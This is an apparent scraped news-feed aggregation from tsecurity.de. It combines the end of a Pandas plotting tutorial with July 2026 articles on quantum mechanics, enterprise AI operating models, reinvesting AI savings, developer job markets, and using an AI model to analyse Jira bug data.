<p class="wp-block-paragraph">To create a basic plot from this, use:</p>



<pre class="wp-block-code"><code>
import matplotlib.pyplot as plt
global_yearly_life_expectancy = df.groupby('year')['lifeExp'].mean() 
c = global_yearly_life_expectancy.plot().get_figure()
plt.savefig("output.png")
</code></pre>



<p class="wp-block-paragraph">The plot will be saved to a file in the current working directory as <code>output.png</code>. The axes and other labeling on the plot can all be set manually, but for quick exports this method works fine.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/1633998/microsoft-launches-native-integration-for-python-in-excel.html">Python and Pandas</a> offer many features you can’t get from spreadsheets. For one, they let you automate your work with data and make the results reproducible. Rather than write spreadsheet macros, which are clunky and limited, you can use Pandas to analyze, segment, and transform data—and use Python’s expressive power and package ecosystem (for instance, for graphing or rendering data to other formats) to do even more than you could with Pandas alone.</p>
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<title><![CDATA[Physicists say quantum mechanics may not need imaginary numbers after all]]></title>
<description><![CDATA[Physicists from Heinrich Heine University Düsseldorf (HHU) have examined a fundamental property of quantum mechanics in collaboration with the German Aerospace Center (DLR). In the scientific journal Physical Review Letters, they show that this theory does not necessarily need to…
Read more →
The...]]></description>
<link>https://tsecurity.de/de/3665489/it-security-nachrichten/physicists-say-quantum-mechanics-may-not-need-imaginary-numbers-after-all/</link>
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<pubDate>Mon, 13 Jul 2026 16:09:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Physicists from Heinrich Heine University Düsseldorf (HHU) have examined a fundamental property of quantum mechanics in collaboration with the German Aerospace Center (DLR). In the scientific journal Physical Review Letters, they show that this theory does not necessarily need to…</p>
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<title><![CDATA[CIOs must rethink operating models to unlock AI at scale]]></title>
<description><![CDATA[Almost every company has a board or executive AI mandate. Vendors are rolling out agentic AI platforms. The pressure to move is intense.



But the reality on the ground looks different. Eighty-three percent of organizations say data quality is their top AI challenge, and 74% struggle to demonstr...]]></description>
<link>https://tsecurity.de/de/3664901/it-nachrichten/cios-must-rethink-operating-models-to-unlock-ai-at-scale/</link>
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<pubDate>Mon, 13 Jul 2026 12:17:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<p>Almost every company has a <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">board or executive AI mandate</a>. Vendors are rolling out agentic AI platforms. The pressure to move is intense.</p>



<p>But the reality on the ground looks different. Eighty-three percent of organizations say <a href="https://www.cio.com/article/4162306/data-debt-ai-value-killer.html">data quality is their top AI challenge</a>, and 74% struggle to demonstrate ROI, according to Lopez Research. And only 21% report having a mature <a href="https://www.csoonline.com/article/4176485/the-ai-governance-imperative-you-cant-afford-to-ignore-2.html">governance model for AI agents</a>, per Deloitte’s <a href="https://www.deloitte.com/us/en/about/press-room/state-of-ai-report-2026.html" rel="nofollow">2026 State of Enterprise AI</a> report.</p>



<p>“Agentic AI is real, and vendors’ offerings are very real, too,” says <a href="https://www.forrester.com/analyst-bio/boris-evelson/BIO1737" rel="nofollow">Boris Evelson</a>, vice president and principal analyst at Forrester. “However, most enterprises are still not ready to adopt at scale.”</p>



<p><a href="https://www.westmonroe.com/our-team/david-hilborn" rel="nofollow">Dave Hilborn</a>, who leads West Monroe’s Organization, People &amp; Change practice, frames it as a race with three arrows moving forward — one representing AI and tech evolution, one representing organizations and people, and one representing data. “The AI arrow is far out ahead,” he says. “That delta is the readiness gap.”</p>



<p>The gap <a href="https://www.cio.com/article/4192383/its-not-the-it-holding-ai-back-its-the-business-processes.html">isn’t the technology</a>. It’s the foundational work most organizations haven’t done: data readiness, operating models, governance, skills, and culture. The companies making progress aren’t waiting for vendors to solve these problems. They’re tackling the unglamorous work themselves.</p>



<h2 class="wp-block-heading">AI doesn’t tolerate ambiguity</h2>



<p>AI readiness can be framed across six levels — from data foundation at the base to <a href="https://www.cio.com/article/4157466/cios-reimagine-business-processes-to-reap-ai-benefits.html">reinvented business experiences</a> at the top, says <a href="https://www.linkedin.com/in/afsheantalasaz/" rel="nofollow">Afshean Talasaz</a>, former CIO at Colonial Pipeline and now an executive advisor. One of the key areas that doesn’t always get the attention it needs is the operating model.<strong></strong></p>



<p>“The technology playbooks of the past don’t work in the AI world,” Talasaz says. “Those areas were able to tolerate more ambiguity between business and tech teams. AI doesn’t tolerate the same level of ambiguity. It needs clarity.”</p>



<p>That demands a different kind of partnership between IT and the business. AI systems learn from data — records and measurements of what’s actually happening in the business — and then operate within business processes. Unlike traditional software, which is built based on user requirements, AI is sandwiched between the business that produces the data and the business that consumes the outputs.</p>



<p>“AI is requiring IT and business teams to work more closely together, to be clearer about what AI will and will not do — that really close partnership is crucial,” Talasaz says. “It’s not something that will always naturally evolve. It requires a lot of intentionality about how teams need to work together to deliver outcomes.”</p>



<p>The <a href="https://www.cio.com/article/3801027/10-ai-strategy-questions-every-cio-must-answer.html">AI questions CIOs must answer</a> aren’t just technical. Do we have the right operating model? Have we balanced governance and standard operating procedures within the model? Have we organized teams appropriately? All this must be designed within the context of what the business actually needs.</p>



<p>Too many organizations are <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">bolting AI onto existing processes</a> without redefining roles or workflows, Forrester’s Evelson. “Organizations can either incrementally enhance existing workflows by augmenting capabilities with AI or pursue a more transformative approach by redesigning the process end-to-end.”</p>



<p>The companies getting value are doing the latter.</p>



<h2 class="wp-block-heading">Data debt comes due</h2>



<p>Data readiness remains the most common barrier to scaling AI. “We’ve never fixed this data quality problem in most organizations,” says <a href="https://www.lopezresearch.com/" rel="nofollow">Maribel Lopez</a>, founder and principal analyst at Lopez Research, “and it comes back to haunt a company in spades as they move to AI.”</p>



<p>At Levi Strauss, the foundational work came first. “If you think about the Levi’s business, it’s quite complex — 100 countries, over 3,000 stores, multiple business models,” says <a href="https://www.levistrauss.com/who-we-are/leadership/jason-gowans/" rel="nofollow">Jason Gowans</a>, the company’s chief digital and technology officer. “You can imagine the complexity of gathering all that data to understand how the business is performing. The idea of this single source of truth — that’s been the biggest thing.”</p>



<p>Levi’s now has more than 1,100 standard operating procedures that govern how work gets done on top of SAP. “That’s fertile material to feed to LLMs on how work gets done,” Gowans says.The results are tangible: partner onboarding that once took three to six months to set up EDI exchanges now takes days.</p>



<p>At contract manufacturing company Jabil, <a href="https://www.linkedin.com/in/chase-christensen-b0447/" rel="nofollow">Chase Christensen</a>, segment CIO, took a similar path. “We had to get everyone to understand where the source data resides, put tech in place so consumption is easier, and drive ownership around data and decision rights — so 140,000 employees don’t feel empowered to create their own data sources that fall out of line.”</p>



<p>The data challenge goes beyond quality, Evelson notes. <a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Most organizations’ data isn’t AI-ready</a>; it hasn’t been prepared for how AI systems consume and learn from information. “Data is siloed, poorly governed, and hard to discover, integrate, and trust,” he says.</p>



<p>Forrester research shows that 45% of data and analytics decision-makers were adopting vector databases in 2025, and 53% were adopting graph databases — investments that signal recognition of how much data architecture needs to evolve. The firm recommends a balanced approach: roughly 48% of AI spending on foundations such as data management and engineering, and 52% on consumption, including analytics, governance, and applications.</p>



<p>But even as organizations work to prepare existing data, AI is creating new challenges. Users leveraging AI tools are generating new forms of data and information that never make it into corporate databases, West Monroe’s Hilborn notes.</p>



<p>“There are explosions of new data, content, and insights being created on the periphery of these data lakes,” he says. “The challenge is how do you capture that and leverage it.”</p>



<h2 class="wp-block-heading">Who’s sponsoring this?</h2>



<p>Even when data is in order, many AI initiatives stall due to how they’re sponsored and funded.</p>



<p>“Enterprise data, analytics, and AI programs succeed when business CxOs sponsor them because they are accountable for business outcomes, not just technology delivery,” Forrester’s Evelson says. “IT-led initiatives often become siloed or tool-centric, whereas business sponsorship ensures alignment to enterprise strategy, prioritization of end-to-end use cases, and a focus on decisions and actions rather than insights alone.”</p>



<p>Too often, AI is still treated as a series of disconnected use cases rather than a sustained, multi-year investment. Evelson calls this the “use case trap” — organizations overindex on individual projects and miss the enterprise-wide compounding impact. That leads to fragmented priorities, inconsistent adoption, and difficulty demonstrating ROI.</p>



<p>Leadership readiness is a distinct layer of AI preparedness, Talasaz says. “Are leaders prepared to provide a vision of reinvented business experiences that become the north star?” he asks. “Leadership teams, at various levels of the organization, need to articulate what a reinvented business looks like so teams have the direction and support to build differentiating capabilities.”</p>



<p>Levi’s offers a counterexample. AI is a CEO priority there. At the last quarterly offsite, the execs were building agents. “When you’re committed to upskilling the workforce, you’re better served to answer how to rewire processes with AI at the core,” Gowans says. “It starts at the top. It has to be an exec priority.”</p>



<h2 class="wp-block-heading">Fear, literacy, and two types of AI</h2>



<p>Technical talent is only part of the equation. Organizations also need to <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">address change management</a>.</p>



<p>“We saw it with the AI boom — fear about jobs, not knowing what AI did,” says Jabil’s Christensen. “The key is demystifying AI. We doubled down and focused on AI literacy. We want everyone to understand how it was put together, and that removed a lot of that fear. That’s been the biggest hurdle.”</p>



<p>Different types of AI require different skills and governance, Talasaz says. “General use focuses on productivity on the desktop,” he says. “Integrated AI — industrial-capable AI embedded within core business processes — requires different skills, capabilities, and governance.”</p>



<p>For desktop AI, training and guardrails help employees be successful — what Talasaz calls “bumpers,” like in bowling. Organizations need to <a href="https://www.cio.com/article/4117091/how-ai-upskilling-fails-and-what-it-leaders-are-doing-to-get-it-right.html">help employees through reskilling and guidance</a>. “You have tools in a toolbox,” he says. “It’s important to know when to use a power tool versus when you need a screwdriver.”</p>



<p>But for integrated AI embedded in core processes, the stakes are higher. “Business leaders responsible for business outcomes based on AI-driven processes need to be fully aware of both the benefits and risks that come along with using these tools,” Talasaz says.</p>



<p>That distinction matters for governance, too. Lower-, medium-, and high-risk AI use cases may require <a href="https://www.csoonline.com/article/4188573/rethinking-the-balance-between-ai-oversight-and-innovation.html">different ways of working and different risk management approaches</a>. “Deploying AI in potentially high-risk or high-cost areas of the business requires a higher level of rigor,” Talasaz says. “That’s different than building something that helps write my emails.”</p>



<h2 class="wp-block-heading">From POC to production</h2>



<p>Perhaps the biggest readiness gap is the transition <a href="https://www.cio.com/article/3850763/88-of-ai-pilots-fail-to-reach-production-but-thats-not-all-on-it.html">from proof of concept to production</a>. “It requires such a different approach,” Talasaz says. “A successful proof of concept can create a lot of excitement, but when teams are unprepared to build and scale, it can create the potential to over-promise and under-deliver.”</p>



<p>The operating model that works for experimentation doesn’t work for production at scale. Proofs of concept are designed to demonstrate the efficacy of ideas and the underlying technology. But building, scaling, and sustaining technology in the business requires operating models, standards, roles, and skills that many organizations haven’t developed. Intentionally designed operating models reduce the cost of learning, improve execution, and increase delivery velocity, says Talasaz.</p>



<p>But there’s no one-size-fits-all answer. “A business that needs to build capabilities in a marketplace moving very fast requires one kind of operating model,” Talasaz says. “A business that can take longer to develop business capabilities and adapt to market changes can choose a different operating model. It’s important to design ways of working tailored to what the business needs and the speed at which the business needs to leverage technology to be successful.”</p>



<p>Jabil is navigating this journey as part of its move to SAP’s cloud ERP through RISE, scaling from $29 billion to $34 billion in revenue while keeping selling, general, and administrative (SG&amp;A) expenses relatively flat — in part by layering generative AI onto predictive analytics capabilities built over years.</p>



<p>“We started years ago with computer vision to drive product quality,” Christensen says. “As gen AI blew up, we took the predictive analytics we had <a href="https://www.cio.com/article/193580/upskilling-transforms-jabil-employees-into-data-scientists.html">built over the years</a> and imbued them with gen AI. We’ve implemented the basics, and now we’re looking for complex scenarios.”</p>



<h2 class="wp-block-heading">Governance built in, not bolted on</h2>



<p>Governance is often treated as a policy document or committee. It should be embedded in the operating model itself, Talasaz argues.</p>



<p>“The operating model doesn’t always get the attention it needs,” he says. “Policies and committees are useful, but they should handle larger enterprise risks. Most of the governance should be embedded in the operating model to ensure you’re getting outcomes you want.”</p>



<p>That might mean peer review built into the development process, bias checks before deployment, or clear escalation paths for high-risk use cases. When governance is separate from the operating model, it tends to slow things down. When it’s integrated, it becomes how work naturally gets done, says Talasaz.</p>



<p>Governance at the agent level matters, too, Levi’s Gowans says. “Know what agents have been deployed, who authored them, and who’s responsible,” he says, noting that the company has established a registry to understand what agents it has operating within its networks.</p>



<p>The challenges of AI governance are unique, Lopez of Lopez Research says. “Very few people have the governance stack required to say they did the right things with AI,” she says. “<a href="https://www.csoonline.com/article/2132294/what-are-non-human-identities-and-why-do-they-matter.html">Non-human identity</a> and access control is totally different and, frankly, evolving so quickly that no one knows what to do.”</p>



<p>The challenge is ultimately a trade-off, Forrester’s Evelson says. “Push agentic AI capabilities too far, and you risk creating a governance and compliance nightmare,” he says. “Tighten controls too aggressively, and you stifle innovation. Best practices for <a href="https://www.cio.com/article/4188566/cios-rethink-the-balance-between-ai-oversight-and-innovation.html">striking the right balance</a> are still being discovered.”</p>



<h2 class="wp-block-heading">It takes a team</h2>



<p>The AI readiness gap isn’t about technology — it’s about the work organizations have been deferring for years. Data quality. Operating models. Executive sponsorship. Skills and culture. Governance embedded in process.</p>



<p>“Once you progress from everyone using Copilot to putting agents in production, then you realize the need for business context,” Gowans of Levi Strauss says.</p>



<p>It’s a shared journey requiring all teams to understand what’s required, Talasaz says. “It involves helping people understand what it takes from all sides — the technology itself, the operating model, the skills and talents needed — but also working with business leaders on the art of the possible,” he says. “Helping them understand both the benefits and the responsibility of deploying this tech.”</p>



<p>A colleague of his calls AI “the ultimate executive team sport.”</p>



<p>“It requires people to do it well and manage it,” Talasaz says.</p>



<p></p>
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<title><![CDATA[AI is freeing up capital. Most companies have no plan for what comes next]]></title>
<description><![CDATA[AI tools today enable faster processes, leaner operations and lower costs, making efficiency wins the new baseline. However, for many businesses, the strategy stops at those first wins.



This has created a growing leadership blind spot: Once you achieve AI ROI, how do you make the most of it? I...]]></description>
<link>https://tsecurity.de/de/3664864/it-security-nachrichten/ai-is-freeing-up-capital-most-companies-have-no-plan-for-what-comes-next/</link>
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<pubDate>Mon, 13 Jul 2026 12:08:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>AI tools today enable faster processes, leaner operations and lower costs, making efficiency wins the new baseline. However, for many businesses, the strategy stops at those first wins.</p>



<p>This has created a growing leadership blind spot: Once you achieve AI ROI, how do you make the most of it? If there is no clear reinvestment strategy, AI gains burn out quickly and disappear into the business without meaningfully compounding their value.</p>



<p>For CIOs, the next challenge is not just proving AI can make the business more efficient but deciding how those gains can build a stronger company and sustain growth over the long term.</p>



<h2 class="wp-block-heading">Start by investing in a crystal ball</h2>



<p>One of the smartest ways to reinvest AI gains is to improve how the business evaluates what is worth building in the first place.</p>



<p>Leaders who chase “cool” use cases without defining the business impact or path to ROI upfront often end up with systems that drain funds without creating compounding returns. Instead, a clear reinvestment strategy uses AI to assess the strongest use cases before scaling up.</p>



<p>AI tools today can help teams move from idea to prototype to impact analysis much faster than before. That makes it easier to identify which projects have a credible path to ROI and which ones can be filed away. Access to these quick insights allows businesses to test whether a use case has real value before committing larger engineering or model costs.</p>



<p>This is especially crucial right now as <a href="https://www.idc.com/resource-center/blog/ai-infrastructure-spending-caps-historic-year-at-90-billion-in-q4-2025-2029-spending-to-eclipse-1-trillion/">AI is becoming more costly as businesses scale it</a>. What looked inexpensive in early pilots can become far pricier once it is embedded in day-to-day work and as AI providers tokenize and meter its use. The more central AI becomes, the more intentional leaders need to be about where it is used, what it actually returns and how to reinvest those gains.</p>



<p>Not every workflow belongs in the same model. Not every task needs an agent. As AI vendors mature and monetization models evolve, the businesses that will win will be the ones that make those distinctions early, reinvest accordingly and keep building ahead of customer needs rather than reacting to them. Not every workflow belongs in the same model. Not every task needs an agent.</p>



<h2 class="wp-block-heading">Cycle ROI gains back into tooling</h2>



<p>Once AI activations start to show dividends, it’s time to reinvest in stronger tooling. This should include new AI tools that continue to advance the business, as well as continued investment in what has already worked. That compounding effect is ultimately what separates businesses that sustain AI-driven growth from those that plateau after early wins.</p>



<p>I’ve seen firsthand the benefits of investing in new tools that make AI more usable, repeatable and valuable in workflows. For example, automated product management tools enable rapid prototyping and product rationalization. Decision intelligence platforms can help teams simulate scenarios. Customer behavior modeling tools can help predict churn and shift customer demand patterns. These advanced solutions can help teams move from an idea to a working concept in days instead of months.</p>



<p>Smart reinvestment is about building the right technical mix for the outcomes the business <a>needs</a>, rather than funding more AI for its own sake. To maximize impact, start with tooling for governance and upskilling.</p>



<h3 class="wp-block-heading">1. (Re)invest in governance</h3>



<p>As AI usage spreads and matures across teams, products and functions, a strategic policy framework becomes all the more vital. CIOs should work to reinforce the governance foundations already in place so they can support broader adoption, rather than rebuilding new policy from scratch each time AI usage expands. This means reinvesting in shared standards, oversight mechanisms and supporting roles that make governance more durable and practical over time.</p>



<p>Without doubling down on governance, businesses risk creating siloed, disconnected pockets of experimentation. Those pockets quickly become expensive to monitor and difficult to secure, creating further risk to consistency, compliance and trust. The consequence is often wasted spend as experiments stall or overlap, or outcomes that are too fragmented to scale.</p>



<p>When businesses keep governance investment at the center of their reinvestment strategy, it becomes a force multiplier. It reduces duplication across teams, creates more commonality across products and makes it easier to expand AI use without increasing fragmentation or risk.</p>



<h3 class="wp-block-heading">2. Empower employees to grow</h3>



<p>Smart tools only create real value when people are equipped to use them well. That is why reinvestment should go beyond technology alone.</p>



<p>As AI tools become more powerful and accurate, the skills barrier to building something useful is dropping. Employees can get much closer to a viable concept much faster with AI, but that only works if businesses create learning pathways, academies and practical enablement that help teams use these tools well.</p>



<p>Smarter tooling can help product, operations and technology teams collaborate with fewer layers between idea and execution. As employees build new skills, they can stay closer to a single initiative from start to finish. That reduces handoffs, empowers employees to learn new skills and offers a more direct path from the original idea to the final result.</p>



<h2 class="wp-block-heading">Let AI ROI fund your fight against siloes</h2>



<p>Over the next few years, the businesses that pull ahead are not simply going to be the ones with the most AI pilots or the biggest efficiency gains. They will be the ones that invest AI ROI in bridging what has long been disconnected: systems, teams, workflows and ecosystems.</p>



<p>In telecom, for example, AI is already creating savings inside billing operations and other back-office work tied to the BSS layer. The smart move for telcos is not to stop at those savings, but to reinvest them in connecting their BSS and OSS, where fragmentation and siloes have long slowed telcos down.</p>



<p>Think about what that means in practice: instead of billing, service configuration and network operations functioning as separate systems with separate handoffs, AI can help orchestrate them. That makes it easier to move from order to activation to support with less internal friction, better visibility and fewer breakdowns between what was sold and what is actually delivered.</p>



<p>For the customer, that means a broadband outage, plan change or installation appointment is handled as one connected journey rather than a chain of handoffs. The outcome is a more connected operating model that makes the customer experience feel far less complex.</p>



<p>The same logic applies across industries. In banking, a customer with a mortgage, checking account and credit card at the same institution is often still treated as three separate relationships – because the underlying systems do not communicate. AI orchestration can change that, giving banks a unified view of the customer and employees the context to act on it.</p>



<p>Not using AI to do the same work faster, but using AI dividends to build a business that works better. That is what smart investment looks like.</p>



<h2 class="wp-block-heading">ROI is just the start</h2>



<p>AI can absolutely free up capital. That, however, is only the first chapter.</p>



<p>The bigger story is what leaders choose to do next: reinvest in better tooling, more consistent governance, smarter workforce enablement and operating models built to connect across silos. The payoff will be a more resilient, agile business ready for what’s next.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Where the software development jobs are now]]></title>
<description><![CDATA[While many technology companies have slowed hiring or even launched significant layoffs, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with knowledge of AI—are in demand in other industries.



The key to success for deve...]]></description>
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<pubDate>Mon, 13 Jul 2026 11:33:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
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<p>While many technology companies have slowed hiring or even launched <a href="https://www.trueup.io/layoffs" data-type="link" data-id="https://www.trueup.io/layoffs">significant layoffs</a>, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with <a href="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html" data-type="link" data-id="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html">knowledge of AI</a>—are in demand in other industries.</p>



<p>The key to success for developers looking to snatch up these roles is to be well-prepared to meet the needs of potential employers in a variety of sectors.</p>



<p>“The demand for developers in non-tech sectors is real and growing, but the roles look different from what you’d find at a software company,” says <a href="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/" data-type="link" data-id="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/">Pragati Awasthi</a>, assistant teaching professor of AI and data science at Drexel University.</p>



<p>“Across all these sectors, the common thread is that software is no longer a support function; it is embedded in core operations,” Awasthi says. “The developer in these environments is often the person translating domain-specific business problems into technical solutions, which requires a different profile than a pure product engineer at a tech firm.”</p>



<h2 class="wp-block-heading">Opportunity knocks</h2>



<p>The tech industry has long been a mainstay as far as employing software developers. But as these businesses trim staffs in efforts to cut expenses, that has impacted the hiring landscape. Even as the tech sector scales back, however, companies in industries such as financial services/fintech, healthcare/healthtech, retail/ecommerce, and manufacturing are looking to acquire programming talent.</p>



<p>“The unifying factor is data complexity,” Awasthi says. “These industries generate large volumes of sensitive, regulated, or operationally critical data, and they need developers who can build and maintain systems that handle it responsibly.”</p>



<p>While recruiting firm Summit Search Group has placed developers in roles with technology companies, “it is just as common to recruit them for roles outside this niche,” says <a href="https://www.linkedin.com/in/matterhard/" data-type="link" data-id="https://www.linkedin.com/in/matterhard/">Matt Erhard</a>, managing partner at the company. “There are actually a fairly wide variety of roles available for developers in industries beyond tech,” Erhard says.</p>



<p>For example, in financial services Summit Search Group has seen significant hiring for back-end and data engineers who can build and maintain fraud detection systems, digital banking platforms, and regulatory tools, Erhard says. In healthcare, companies are hiring developers to build AI-driven diagnostics platforms and patient portals, or to work with systems that manage electronic health records, he says.</p>



<p>In manufacturing and industrial companies, developers are needed for systems integration and embedded software related to predictive maintenance, <a href="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html" data-type="link" data-id="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html">Internet of Things</a> (IoT) systems, and smart factories. And in retail and ecommerce, there’s strong demand for <a href="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html" data-type="link" data-id="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html">full-stack developers</a> and data developers who can handle logistics systems, omni-channel platforms, and personalization engines, Erhard says.</p>



<p>“One significant function where we’ve been placing developer talent lately is in developing business systems and internal applications,” Erhard says. These roles often have titles such as systems engineer or application developer, and professionals are hired to handle tasks such as customizing customer relationship management (CRM) or enterprise resource planning (ERP) platforms, building workflow automation tools or modernizing legacy systems, he says.</p>



<p>Other core functions for which Summit Search Group has placed a lot of developers include data, analytics, and AI-enablement. “That could be directly involved with <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">data engineering</a> or in building tools like reporting systems and <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">ETL [extract, transform, load]</a> pipelines,” Erhard says.</p>



<p>The firm also has handled searches for developers who can build and maintain customer-facing products for banking, healthcare, and retail companies, such as mobile apps or digital platforms customers can use to interact with companies.</p>



<p>Randstad Digital, a provider of global technology talent, sees demand for roles including web developers, system developers, and app developers. “These professionals would work on anything from customer-facing platforms to internal tools,” says <a href="https://www.linkedin.com/in/mpmorris36/" data-type="link" data-id="https://www.linkedin.com/in/mpmorris36/">Michael Morris</a>, global head of platform and talent at the company. “Non-tech companies are also often hiring roles like software architecture and <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> to help scale existing technology. These involve being more ingrained in the business, like building a supply chain system for a retailer, rather than creating individual tech products like you would at a technology company.”</p>



<h2 class="wp-block-heading">Prep for success</h2>



<p>To increases the chances of success at landing developer jobs outside of the tech industry, development professionals would be wise to follow some good practices.</p>



<h3 class="wp-block-heading">Boost AI skills</h3>



<p>One best practice is to boost skills in using AI-powered tools and get familiar with all things AI.</p>



<p>“Get fluent with AI-assisted development and its limits,” Awasthi says. “This is not optional. Organizations across every sector expect developers to use AI coding tools productively. But the more durable skill is knowing when AI output is wrong, incomplete, or unsuitable for a regulated context. That critical evaluation capacity is what non-tech employers are increasingly trying to hire.”</p>



<p>AI does not necessarily replace the need for human developers so much as it changes the skills profile for those roles, Erhard says. “The biggest difference in recent years is that AI literacy is now a non-negotiable,” he says. “At minimum, developers today need to understand concepts like <a href="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html" data-type="link" data-id="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html">prompt engineering</a> and how to use AI tools to improve their efficiency.”</p>



<p>One thing many job candidates don’t expect is that the rise of AI has also increased the importance of high-level skills such as problem framing, system design, and cross-functional communication,” Erhard says. “Essentially, if something is related to development but too complex or nuanced for an AI to handle effectively, then the demand is high for human developers who have that expertise,” he says.</p>



<p>Candidates who land roles consistently have experience building AI-augmented workflows along with standard coding skills, Erhard says. “Employers increasingly expect to hire developers who can leverage AI, so demonstrating this experience on your résumé can be very beneficial,” he says.</p>



<h3 class="wp-block-heading">Gain domain knowledge</h3>



<p>Summit Search Group is seeing high demand for developers with deep domain knowledge in an organization’s specific industry. “So, for instance, if someone is both an experienced developer and has expertise in healthcare compliance, or financial regulations, then those candidates tend to be very sought after,” Erhard says.</p>



<p>Domain fluency is an underrated skill, Awasthi says. “A developer who understands healthcare compliance, financial regulation, or manufacturing process logic is significantly harder to replace than one who only writes clean code,” she says. “AI can generate boilerplate. It cannot navigate a HIPAA audit or explain a model’s output to a compliance officer.”</p>



<p>Development professionals should “pick an industry and learn it seriously; not just the technology stack but the regulatory environment, the business model, and the actual problems practitioners face,” Awasthi says. “A developer who has read about HIPAA, or spent time understanding credit risk, is immediately more valuable in those hiring contexts.”</p>



<p>It’s also vital to demonstrate real-world, practical application of skills, not just credentials. “The strongest candidates have projects in their portfolio that directly tie to and solve real business problems,” Erhard says.</p>



<h3 class="wp-block-heading">Acquire soft skills</h3>



<p>And then there are the soft skills that are becoming more of a differentiator than they were in the past. As AI handles more routine coding, human developers are expected to make more architectural decisions and collaborate across departments, Erhard says. “Strong communication and problem-solving skills are critical for many of the developer roles that we’re filling today,” he says.</p>



<p>While technical skills are still relevant for developers using and managing AI tools, “they also need to develop the skill of ‘deeper thinking’ and learn how to think one step ahead,” Morris says. “This includes skills like system design mastery—understanding the macro view and learning how <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>, databases, and third-party APIs interact securely and efficiently.”</p>



<p>They also should become deeply fluent in the AI coding tools commonly used in their particular industry, with a strong understanding of how to prompt them for optimal output, Morris says. Product context awareness is also useful. “AI doesn’t know what the customer wants, but you do,” Morris says. “Understanding the business problem and the end-user experience is a requirement for being able to guide LLMs.”</p>



<h3 class="wp-block-heading">Master debugging and incident response</h3>



<p>Developers looking to break into non-tech sectors also should develop skills in debugging and incident response, Morris says. “Complex systems with multiple AI agents can, and will, fail, which means companies need humans to trace logic flaws to get the system back on track,” he says. “A mastery of root-cause analysis is a critical skill.”</p>



<p>“Security, compliance, and reliability are very important in non-tech industries like finance and healthcare,” says <a href="https://www.linkedin.com/in/rohit-agarwal/" data-type="link" data-id="https://www.linkedin.com/in/rohit-agarwal/">Rohit Agarwal</a>, co-founder of Zenius, a remote hiring company. “So employers want developers who also know regulatory environments well.”</p>



<h3 class="wp-block-heading">Network and keep learning</h3>



<p>To successfully pivot from jobs at tech companies, “continuous learning, upskilling, and building hybrid skills that combine technical and business knowledge are essential,” Morris says. “With the right preparation, tech professionals can adapt and continue to thrive in meaningful, dynamic careers.”</p>



<p>It’s also a good idea to join talent communities in fields of interest and “engage with other members in conversations that increase your knowledge through the collective intelligence of the community,” Morris says. “Take advantage of AI skilling opportunities relevant for your role, or better yet, where you want to go next. Experiment with the technology either on your own or through structured programs.” Ultimately, be curious and proactive, he says.</p>



<p>“I’d also recommend developers not to ignore referrals, direct outreach, and industry-specific communities during job search,” Agarwal says. “There are often a lot more opportunities available than the ones posted online.”</p>
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<title><![CDATA[Why AI needs contextual intelligence — not just bigger models]]></title>
<description><![CDATA[A product manager on my team recently asked me where we were seeing the most issues across the engineering team. Instead of guessing, I had an engineering lead point Claude at our Jira via an MCP connector and look at the bug patterns himself.



One team had a wildly disproportionate share of ti...]]></description>
<link>https://tsecurity.de/de/3664720/it-security-nachrichten/why-ai-needs-contextual-intelligence-not-just-bigger-models/</link>
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<pubDate>Mon, 13 Jul 2026 11:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>A product manager on my team recently asked me where we were seeing the most issues across the engineering team. Instead of guessing, I had an engineering lead point Claude at our Jira via an MCP connector and look at the bug patterns himself.</p>



<p>One team had a wildly disproportionate share of tickets — about 50% of their sprint time was spent on “bugs,” versus roughly 25% for everyone else. The headline number suggested a quality problem.</p>



<p>It wasn’t. When we layered in the context around those tickets, almost none of them were bugs. They were manual workarounds for a missing product capability: customers asking us, one request at a time, to restore items they had accidentally deleted. Not shipping an item restore feature was burning roughly 1.5 engineers’ worth of capacity. I went back to our product team and said, “Build this, and you reclaim a person and a half.”</p>



